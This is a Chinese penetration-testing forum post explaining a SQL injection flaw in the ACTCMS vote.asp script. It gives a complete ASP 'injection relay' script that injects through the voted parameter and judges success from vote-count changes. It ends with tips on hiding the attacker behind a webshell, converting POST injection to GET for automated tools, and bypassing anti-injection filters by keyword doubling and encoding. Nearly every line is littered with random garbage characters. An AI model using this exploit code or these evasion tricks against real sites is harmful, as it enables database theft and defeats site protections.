中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

+ z% W9 g& P  p" s& l看到ninty大牛的blog的一篇文章) L: p1 _% w, \/ Q% v' x4 x2 T! {  j
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
& V4 L8 b% W% j$ j! s关于actcms漏洞的利用  by 3x qq:381862589$ n% ?8 `/ E3 f$ |( g# w
转载请注明以上# W/ t: s9 ^1 }" f) O' s
漏洞文件:
& r" c. }, m/ G4 ~# Q/plus/vote/vote.asp. N/ H: a, e. `" N0 q* k4 |
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
$ N5 x3 L8 y' ~7 _/ p  A# D: X" Y; V; ~: b
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
& P7 |; }( W8 d/ o" M7 A. D; T' }$ J2 \8 t
3    response.end    6 ?% E$ l4 U1 o8 [. E) z& H9 N
& a; U! @( s% O1 P- ^; [& e
4    end if    % P; r# o# y0 t7 I

0 c7 N) X! A! `3 T6 d7 ?5    for i=1 to request("voted").count    ' i- c0 J- p, B! y0 |
  O6 I' j% _6 u$ g3 |
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    2 S0 |8 s' i4 ]  x. |+ y

8 c8 {8 N$ y4 A. d- j3 ]/ D" b- h7    next   
) Y3 E) b* T; S) m
: `: g* M) S4 [8 q3 B1 t8....   
0 Q! x' O+ R# J2 I* Q4 i/ O! Q* Q8 N6 V3 V0 h! r
9response.Redirect "index.asp?id="&id&""   
& r1 a- K5 E. ~2 P  M* }2 T投票结束回跳转回index.asp这个投票结果页面2 m" L! T4 _' ^) e3 t
如果投票成功票数加1
: o( D5 c4 L( R  Y* H9 c2 Q            失败票数不变7 P2 l8 x8 u" M/ U# G. \! P! D
如图:
9 c+ l4 [6 l  w% ?; Khttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)$ f, o' A6 u/ C+ b. @8 e" ]

3 _' p! q* ]+ }5 g1 r: h: o2009-12-27 13:201 P1 X& a9 l' k2 B0 [) |3 ?

) @" D3 F) V4 d4 S4 h/ J9 ^利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
" T  O7 ]; s6 l2 J' X( [, A- }
- j% m, o* W* H7 G& L% |" i% h# t本帖隐藏的内容需要回复才可以浏览
1 H& e3 v; x0 f9 F我们用注入中转来实现这个注入具体代码如下:- `( k% f6 Z+ A# p8 k
先用寂寞的刺猬大牛的注入中转生成jmget.asp
- y+ }! O: {, o: e2 f# L5 Q; B3 [注入地址:http://localhost/actcms/plus/vote/vote.asp
- ?* ~7 l0 D% X- u- j+ O注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项. ?9 I- @! k  b" s5 G
5 _5 \, ]3 ~. j% }$ S
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
: P0 I6 A' [, T% \7 I( [( C# P1 `- X
4 R; C) W7 s, G4 X% |% c" s6 g& ?02JmdcwName=request("jmdcw") " o) }  l6 r2 U6 o& K% A$ q) j
* V" ?  ~( U, Q* s9 A" U- W: q  |
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
. o3 T+ {- l# I( b" I/ O8 _  |! i9 Y: E9 p( _7 o. Z
04JmStr="id=1&voted=-1 or 1="&JmdcwName ; M9 f9 \% e, ]
" C- n1 y, i8 G; X7 b
05JmStr=URLEncoding(JmStr)
8 n- |  ~- I" i4 g; n' g1 u, S  T( S  A9 X
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", s( ~1 f8 h2 ?5 t- G3 l. Z5 D
: x% |4 e/ `) E' u4 A* K
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
( a9 g- n6 X0 |( R( Z3 C3 |2 Q- \1 H) G5 ^. M% r
08testurl=testurl & "?" & JmStr
8 Q, ^) v+ q% x% \
( D% Z" J9 k/ E09JMUrl=JMUrl & "?" & JmStr
( F- w  S3 g2 z5 n6 Q, \! S2 |9 [
% w: }, _+ m. Z" d10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. f4 @4 J, k3 c; ]: x/ Y1 X2 v
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
+ @9 G3 \$ K7 P6 N
0 l$ b1 x* W( j, y9 k: F) k* f0 L# N& R12JmCok=replace(JmCok,chr(32),"%20")  9 q& `- ~3 p4 ]3 {
) b' z4 C# D2 }7 x- U9 I
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 " n9 |- i9 ^6 o* t1 H6 K! ^7 t  [
; ]2 r. j  U! m' [: W) R. m- u
14  8 X1 K2 S7 p6 i% n! b) ]% \. u4 [

+ C  O1 o4 {1 a7 `- V# m15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
) t+ k$ l' t. ~! r" L* ]+ W  N) n
4 \) r: E' a  `6 q" t- K5 G2 n. e7 V8 T16  8 e6 k- h9 C; R5 q

# I& l/ w* d, ?17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
7 \1 ^. B9 q: ^  t  Q) f7 v
: u+ j! ]# R8 V18response.write test1&""&test2&""
& y3 H" L' V+ g2 m& M$ q- b3 J0 H3 G7 V6 s$ a: W: X
19  
! d& |8 K) Y8 p0 {& D7 J$ C4 ?- Z, I* w8 ^2 o
20if test1=test2 then '如前后记录相等,表示失败
  m# W+ x( `. {
  n$ j, P8 X2 j+ Q& b3 P21  response.write "failed"1 y$ F8 V% B& c  J/ c7 H/ Y

$ R$ T: }  m# r22else
. K* O* n" `! O( m, C& n6 F6 \, w2 G0 g5 F6 ]7 z; A
23  response.write "succeed"
- d8 S6 f6 `( ~% L0 @* W( J. p7 c& p8 {8 q
24end if  ; N5 }# W6 h( g
/ F; `7 i( c9 h: t" [$ o
25  
* N3 w# z7 o- Y6 K/ Q1 T: ~9 j! A/ A* ?$ |0 s
26response.write "by 3x"
8 {, q  r0 U" g/ ]4 c+ o4 _( W% G2 r- b- E6 v0 H  K7 g7 C6 Q
27  - }. C$ D0 n/ `2 l

+ s7 _# o6 D2 S  p; T0 j28  % T$ t' a. g* J# B
& x, I( C% s; _; i
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   8 X3 X; |* S( f4 L8 P+ k: M' ~0 w

- N8 r4 d0 ], z. m: s! E30Dim Http 2 j$ T% C8 I# d# T7 W2 N: g* o
7 B* A/ ]4 s$ ^: r. i
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ; Z" t. j5 e" ^- @3 ~! z

1 z) _" ?. n4 L5 t: o" X1 [5 W. l32With Http
, p. B+ B( Q1 h. z6 ]# {2 Z7 U% }
33  , c8 F. G& Y9 i9 ~4 G9 e& |: J

# q3 B) f/ L7 }" S34.Open "GET",PostUrl,False
( Q4 ~  C) m9 r- G' Z7 M  C8 k2 [0 d7 D% e' \
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded", G- s+ q' W$ d+ }" @
! K* x+ k6 o4 K7 }
36.SetRequestHeader "Referer",PostRef
4 {3 w4 Q+ s5 ~2 a1 T- k) B- s$ C! `" n' C8 z
37.SetRequestHeader "Cookie",PostCok 2 ]( |/ P: l* Z7 v4 ]. R$ g
5 b. _6 F+ E3 O( S; b; q
38.Send () 6 k, F/ o3 l( h) i4 t8 M

: w, [* E7 _2 C3 |& g3 \39PostData = .ResponseBody : J5 e. r, q" P8 }

1 v* l$ V+ x% N9 J! j40End With2 h4 k8 }' o! ~8 C

2 w8 c' }9 M# j4 p41Set Http = Nothing
# @( b( a: o, t* X/ r
; h4 }5 L1 B0 u42PostData =bytes2BSTR(PostData)
$ u9 Z8 G1 T* J0 k' R; B+ w7 f7 R8 T% _$ w" }* G0 A
43End Function0 x6 f) x3 f. y6 X: v. K

. G% l0 n6 y* t44  
0 u% ^& T! p1 J2 c! z$ C& ?- _
) E1 O, M$ y1 j) D4 P& I45  
( Y4 G; G# g. X- X3 z
& J% h$ a# Q+ v46Function bytes2BSTR(vIn)
- }9 ?1 G. A. @2 _: Q/ K. [* m2 b% G. c6 K
47Dim strReturn
1 I( x! [0 j3 T" K7 U
8 v3 T/ o3 y& y2 p& ]48Dim I, ThisCharCode, NextCharCode " Q" ~( Z* d  H7 t4 @+ t5 f5 U' z

1 n$ E2 Y! i3 p5 t7 Q( u( w) K3 Q5 f* F49strReturn = ""% {' @& z2 f/ C1 L" t5 A' v
, t# s9 J5 J) Q4 b8 {/ ?" Y% Y6 k- J
50For I = 1 To LenB(vIn)
* A& d% i2 S  \1 o5 J
' N" b6 h/ ]+ m9 J1 \  z51ThisCharCode = AscB(MidB(vIn, I, 1))   S  N0 v. j- T( r4 T1 ^
8 M/ B" f7 `/ U- A7 A) ]$ k2 i8 Y2 I: a
52If ThisCharCode < &H80 Then- [' [% w/ K- }+ R2 C0 g% \
7 j# ^0 k; L8 u. A( Q+ b+ T
53strReturn = strReturn & Chr(ThisCharCode)
' T  ^* G. m* n+ N* [5 T
9 h; d' R4 d$ \( _/ B54Else
0 F, r1 Y: @9 a: {, \. G- D
- }7 T' m4 @" P3 r8 C# P% I55NextCharCode = AscB(MidB(vIn, I + 1, 1)) / |6 G# k  i( O; ^5 V" s7 s5 N
) o9 p* y1 h( D2 X+ C/ j" _
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
% U% l7 a' W: G4 |
1 U9 t; N& k+ a: H7 ^57I = I + 1
' F; h  d% `. h- t/ U$ k1 M% h" e2 D
58End If
; i$ u' R: R( H) d: @# y) r; u3 Z
59Next, p7 Z" T4 ~+ W4 a  x

$ k$ B/ S7 a* u6 V& \( k60bytes2BSTR = strReturn
0 U( Y0 x5 l: l* A: Y
: g2 v5 ^0 e: Q/ p4 L4 E61End Function
' b, C6 G) {0 k8 w% E' K
# B7 B" R; w5 q+ {, Z6 E, p; [62  
9 v6 |6 b, P& Y" i' I
% S. G' N, P+ t63Function URLEncoding(vstrin)    y4 c6 `5 a) J% Y& f

) W' R5 A+ P; B" J9 U) t64strReturn=""
1 g+ w% M' n1 F. g' m2 u
; N3 c& z! R4 f7 Q2 m65Dim i
, h# R$ P3 x4 y/ `! X8 `: F& x; f. m/ M
66For i=1 To Len(vstrin) 4 |* d% k  U- S. K0 P6 X2 }

+ V" R$ ^" B/ V3 {1 o4 }. ]67ThisChr=Mid(vstrin,i,1)
6 _9 r4 }4 N5 _+ Q; ]  \# \  M+ S2 s4 G9 V1 G
68if Abs(Asc(ThisChr))< &HFF Then
/ I! B; m8 Q! E  {8 g. o
& M7 D+ b0 T- x69strReturn=strReturn & ThisChr
# K  S$ L+ v6 C; N, J& P" D
" a9 U6 ~6 ^1 d  T, V9 ]70Else5 V) ~0 _# s& P/ c5 W

" `7 r5 d& w! z71InnerCode=Asc(ThisChr) 5 j$ a; G# z2 s# Q! I

% Y% u7 E, G; t$ j3 A; k72If InnerCode<0 Then
" h% g0 r% P& x' m3 q) E& I) |# Y* A, o0 i/ {& K) S
73InnerCode=InnerCode + &H10000 4 H9 {2 F  A4 @* f7 k2 O

  b; ^& p2 x6 i74End If# p7 g0 E0 R- h' `
# D7 w6 a% P+ m  C6 E: h
75Hight1=(InnerCode And &HFF00) \&HFF $ n' r5 w' k4 N

5 L" s  Z: U+ R9 E/ u9 q76Low1=InnerCode And &HFF ! _" Q; H( P& i1 C- _
+ f, B- T4 G( Q; M* K- S- B
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
5 g: P8 y3 w* T1 ?% ~  i0 R8 d  C/ O3 K9 m
78End if 6 Y, ?: G& b. M$ p8 l* J
4 S2 I0 x$ ?' t2 b+ A$ Q" [
79Next+ g/ q7 l* E9 u0 }8 f; T8 ^$ j5 d
: ?$ f$ T/ o. o% q& H$ r
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 " e0 o! l5 }3 b  U% `9 Y
; t, J* Z' w8 s, O+ _0 V+ e: z
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
; {- u; l) z7 T7 V* ~
0 d. o& b4 ^3 G/ \82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
1 r- v( D6 O# E' B) e; v
0 L$ l! b" t( W- P; y# e& v83URLEncoding=strReturn ! e. P% K1 {2 K9 a/ y

9 ^% y. H2 M% {0 }7 E84End Function# U2 X% B. q1 N; K! p

6 y% B) `& Q/ `- z3 ^85  
- f1 y5 d% _# _9 L0 F4 h
' \1 c' B1 C8 I+ v) x5 r7 ]4 ~5 D86function getSt(body) # |0 z- Y' d" O2 e+ b9 _

2 x6 p* g0 }5 C. p0 W* g  f! j87  startpot=instr(body,"投票人数:")+len("投票人数:") . G, e0 A4 U) t% j: I
3 \; W+ |/ f& g! l2 |
88  endpot=instr(startpot,body," ") . z# p4 u: e2 P4 ^2 ~2 s

) ^5 w! R1 y* s0 w89  getSt=mid(body,startpot,endpot-startpot) 5 K6 @1 Q/ W3 u3 Y

1 K+ Q4 @# V% v( P90end function
8 @' r; f" e1 B+ f$ j7 L% Z
6 a6 i7 W/ e6 u91%>
: Q% F9 l# F4 P0 P/ l! n注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了) K1 V1 A; p  h7 ~: c/ U! k- k( s+ M
测试下效果:
" J* x. [7 Y; |* e& K投票成功:6 q& z/ b1 b" ~6 ~
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)9 P8 ^1 {- S. f

" U' M4 e* g3 v9 Y* b( P2009-12-27 13:29
9 G# j7 M( ?6 l  Z/ z% k8 J- k投票失败! k7 I7 @* ?) r2 a
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)' w- o9 K# w6 E) x" C9 z3 t

; @/ C- P! z+ U2009-12-27 13:29
8 d1 `2 p% |) I% @( ^3 N-------------------------------------------------------------------------------
& ^& C" ^" O- u7 f' o再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以1 Y. L) D1 H2 p  R" h  m5 C
很抱歉。。。只能用单线程工具去注入。。。。。
( J* ~1 C/ N3 M' T; c所以失败。。。不好意思。。。
; [  r! m  M+ j3 n8 o4 ?-------------------------------------------------------------------------------
9 H9 S+ @! N" D7 t' T
* ~7 f6 h" |  n8 o5 _, k7 v注入中转的一些其他应用( d- z- m. W1 W( N1 l
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了$ t( u% G- K. H5 M- E* O8 e9 q0 L$ q
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
+ g; T' E' \7 `$ z- v) I- v2.post注入转成get型的注入,方便我们使用工具来跑" b; Z  T; `1 Y' ^4 \1 C7 _
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
) B% {' S- c9 A( N4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
( }( J; R- O7 m. Y; G4 K0 [) d; y% y( m; j





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2